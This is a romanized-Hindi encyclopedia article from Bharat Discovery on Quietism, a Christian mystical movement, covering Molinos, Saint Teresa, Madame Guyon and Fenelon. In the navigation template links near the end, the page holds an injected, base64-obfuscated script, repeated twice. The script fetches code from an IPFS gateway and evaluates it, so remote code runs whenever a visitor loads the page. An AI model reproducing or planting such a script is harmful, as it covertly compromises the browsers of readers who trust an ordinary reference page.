मौनवाद

भारत डिस्कवरी प्रस्तुति
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maunavad eesaee dharm ki ek rahasyavadi pravritti hai, jisamean aantarik shaanti ko eeshvar ke anuchhav ka madhyam mana gaya tha. vastut: yah pravritti apane dhang ki akeli n thi. eesaee dharm ke itihas se pata chalata hai ki vah manav ke atmik vikas ka hi uddeshy lekar nahian, varanh dharmik rajy ki sthapana ke nimitt bhi maidan mean utara tha. apane uddeshy ko poora karane ke liye rom ke dharmik niyamoan ke adhin rakhane ka prayatn kiya. yah asanbhav ki kalpana thi, khasataur se jabaki pradhanat: bauddhik yoonani darshan ka vikas ho chuka tha. rom aur yoonan ke bich rajanitik sanbandh bhi the. phalat: rom ka dharm sangh ek or apani rajanitik satta evan dand niti ke dvara yoorop ki janata ko apane anushasan mean rakhane ka prayatn karata raha aur doosari or unnatishil vijnan aur darshan us anushasan ki abauddhikata ki or sanket karate rahe. sangh ki simaoan mean hi dharm ki bauddhik vyakhyaean vikasit hoti rahian aur aandhavishvasoan ke viruddh dhimi avajean barabar sunaee deti rahian.[1]

itihas

solahavian shatabdi ke aranbh mean yoorop ke dharmik itihas mean ek uthal-puthal mach gee. yahaan tak ki purane kaithalik dharm ke samarthakoan aur virodhiyoan mean bhed kar pana kathin ho gaya. 1529 ee. mean martin loothar ke virodh (protest) ke bad, sudharavadi pravritti poorn roop se jag uthi. virodh aur sudhar ke svaroan mean aantar kam ho gaya aur yooropiy dharm jagath mean navajagaran ki lahar dau d gee. is jagaran kal mean, loothar ke anuyayi filip spenar ne 1675 ee. mean ek pustak prakashit ki, jisaka shirshak tha- 'prabhu ko prasann karane ke liye ianjil ke dharm sangh mean sudhar karane ki hardik ichchha'.

spenar ka uddeshy aandh vishvas aur shastrarth donoan se hatakar, anubhav aur bhavana par bal dena tha. usaka mat pavitratavad[2] ke nam se prasiddh hua. usi samay, spen ke ek dharmashastri maikel d m aaulin aaus (1640-97) ne, jo kaithalik matanuyayish tha, apani 'adhyatmik pathapradarshika'[3] namak pustak prakashit ki. usane bhi dharm ki anubhavik vyakhya ki. rahasyavadi pravritti madhy kal se hi panap rahi thi. sant tamas ekvinas (1227-1274) ne apani 'summa thiyolojiya' mean manasik bhavan[4] ko 'nity saty ka saral roop' svikar kiya tha. any rahasyavadi santoan ne bhi bahyachar ki apeksha susthir, shaant kshanoan ke anubhav par bal diya tha.[1]

maunavastha

solahavian shatabdi mean spen ke nari sant tereja (1515-1582) ne manasik shaanti athava maunavastha ki vishesh roop se vyakhya ki thi. usane bataya tha ki yah nishkriyata nahian, 'vyast vishram' ki avastha hai, jisamean atma apani uchchhrankhal vasanaoan ko tyag kar usi prakar eeshvaronmukh ho jati hai, jaise sipi sagar ka jal pine ke liye apana muanh khel deti hai. sant terezash ne is maun mean man ki grahak avastha[5] ko avashyak mana tha tatha to usane sipi ki bhaanti muanh kholakar sagar ka jal lene ki bat ki thi.

sant m aaulin aaus ka yogadan

m aaulin aaus ne sant tereza ke maun ki aur spasht karane ki cheshta ki. usane dharana[6] aur bhavan[7] mean aantar karate hue bataya ki pahali avastha bauddhik hai. man isamean sakriy roop se eesaee vishvasoan mean ulajha rahata hai. bhavan ki avastha mean vah prabhu ke prem mean doob jata hai. use eeshvar ka aparokshanubhav athava sakshatkar hota hai. vah eeshvar se sanbanddh ho jata hai. m aaulin aaus ke anusar, maun ki avastha mean sabhi prayojanoan, ichchhaoan, vicharoan aur sankalpoan ka abhav ho jata hai. yah saansarik vastuoan se poorn viram ki avastha hai. apane vicharoan ke liye m aaulin aaus ko 1685 ee. mean 'holi iankvizishan' ke samane jana p da. use ajivan karavas bhugatan p da. vahian 1697 ee. mean usaki mrityu huee. kiantu, maunavadi aandolan ka aant n hua.

maidam guyaan

m aaulin aaus ke vicharoan ne fraans ki maidam guyaan (1648-1717) ko prabhavit kiya. vah ek dhani parivar ki sushikshit mahila thi, jo vaivahik jivan sukhamay n hone se dharm ki or mu d gee thi. usane maun ke nishedhatmak paksh ko spasht karane ka prayatn kiya. apane anuyayi phenel aaun (1651-1715) ko usane ek patr mean bataya tha ki udbodhan ke kshan se use apani maun prarthanaoan mean kabhi kisi akar, vichar ya bianb ki chetana nahian huee. is tatv ka sanket m aaulin aaus ki 'path pradarshika' mean bhi tha. usane likha tha ki eeshvar ka jnan svikaroktiyoan se adhik nishedyoan se hota hai. phenel aaun ne apane upadeshoan mean maunavad ke nishedhatmak paksh ko hi spasht kiya. maidam guyaan se prabhav mean ane ke poorv vah kaithalik sangh ki or se niyukt 'aant:karan ka nideshak'[8] tha. kiantu 1689 ee. mean prakashit apani pustak 'santoan ki sooktiyaan'[9] mean usane 'shuddh manasik bhavan' ke lie likha ki 'yah ek nishedhatmak avastha hai. isamean kisi iandriyasanvedy vastu ka bianb, koee namakhy vichar nahian rahata. yah satta ke shuddh bauddhik evan sookshm vichar ki sthiti hai'. yooropiy adhyetaoan ke vichar se phenel aaun ke hath mean p dakar yah mat bharatiy bauddh mat ki bhaanti shoonyavadi ho gaya tha.[1]

manasik pravrittiyaan

is prakar yah mat maun ki upalabdhi ke liye do manasik pravrittiyoan ka abhyas avashyak samajhata hai-

  1. grahakata[10]
  2. udasinata[11]

kiantu, in sabase adhik mahattv us kshan ka hai, jisamean sant tereja ya maidam guyaan ko bodh hua tha. yah ek virala kshan hai, jisamean atma eeshvar ke prati apana poorn samarpan kar dati hai. atma ka yah samarpan bar-bar nahian hota. isaliye maunavadi ise "ek hi karm"[12] kahate haian. is karm ke bad maun ki avastha svabhavik ho jati hai. satravahian aur attharahavian shatabdiyoan mean maunavad spen aur fraans ke dharmik jagaran ki ek sabal pravritti samajha jata raha. kiantu is prakar ki sabhi pravrittiyoan ka uddeshy dharmik anushasan kam karana tatha manushy ki bauddhik svatantrata ki raksha karana tha. isaliye in uddeshyoan ki poorti ke sath-sath dharmik aandolan ki vividh pravrittiyoan ka bhi lop hota gaya.[13][1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 1.3 maunavad (hiandi) bharatakhoj. abhigaman tithi: 22 sitambar, 2015.
  2. ↑ payatijm़
  3. ↑ gaida spirichuel
  4. ↑ kanteanpleshan
  5. ↑ paisiv stet
  6. ↑ mediteshan
  7. ↑ kanteanpleshan
  8. ↑ dairektar aauv kaansheans
  9. ↑ maikjizams aauvaseants
  10. ↑ paisiviti
  11. ↑ dish‌iantarestedanesh‌
  12. ↑ d van aikt
  13. ↑ sangrah granth- samuchit adhyayan ke liye, 'd keanbrij m aaudarn histri' bhag 5, adhyay 4 tatha jems hestiangj ki 'enasaiklopidiya aauv relijan aiand ethiks'shh mean 'kvayatijm़' par lekh.
[[Template:eesaee dharm<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:eesaee dharm<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
eesaee evan yoonani dharm
eesaee dharm
yoonani dharm

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varnamala kramanusar lekh khoj

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